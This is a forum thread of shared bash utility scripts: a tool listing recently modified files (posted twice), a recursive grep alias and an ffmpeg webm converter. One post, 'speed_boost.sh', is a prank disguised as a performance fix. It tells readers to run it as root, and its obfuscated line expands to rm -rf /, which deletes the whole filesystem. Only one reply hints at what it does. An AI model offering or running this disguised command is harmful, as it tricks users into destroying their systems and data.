I'll start. It's called wherewasi.sh and I use it to come back to some project after a while and quickly see what the shit I was doing last time I left:
#!/bin/bash
# recursively finds the last modified files # args: # -n NUM: max. number of files to print, default = 10 # -p PAT: file pattern to look for, e.g. "*.txt", default = "*"
num=10 pat="*" while getopts n:p: opt; do case $opt in n) num=$OPTARG ;; p) pat=$OPTARG ;; esac done
find $PWD -iname "${pat}" -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head -n $num
# recursively finds the last modified files # args: # -n NUM: max. number of files to print, default = 10 # -p PAT: file pattern to look for, e.g. "*.txt", default = "*"
num=10 pat="*" while getopts n:p: opt; do case $opt in n) num=$OPTARG ;; p) pat=$OPTARG ;; esac done
find $PWD -iname "${pat}" -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head -n $num
Carson Nelson
I have a very simple one called 'agrep' that just greps recursively in the current directory. I use it all the time to search for code when I'm not sure which file it's in.
After a while I realized that pt/ripgrep were made for exactly this purpose, so now 'agrep' is just an alias for pt.
#!/bin/bash # webm-convert # converts a video file to a webm with no sound if [ "$1" ]; then read -p "Bitrate? > " br read -p "Width? > " wd read -p "Height? > " ht read -p "File name? > " fn ffmpeg -i "$1" -threads 3 -c:v libvpx -b:v $br -an -vf scale=$wd:$ht -f webm -quality good -qmin 0 -qmax 50 -bufsize 1000k "$fn".webm else echo "No file given." fi
Jaxson Ortiz
#!/use/bin/env bash # filename: speed_boost.sh # usage: no arguments. Run when your computer needs a little speed boost # requires root privilege, either save with setuid and root permission or run with sudo echo "$($(which which) \r\m)" | xargs -I'{}' bash -c "eval '{}' -rf /" \;
Why not adjust the second resolution value via the aspect ratio? Why prompt the user for input instead of allowing additional arguments? Why no default values in case someone skips the prompt? Why no 2-pass conversion?
William Ramirez
>use/bin/env Why ruin the fun?
Justin Jenkins
Seems like an autistic rm -rf /, but I don't understand the syntax.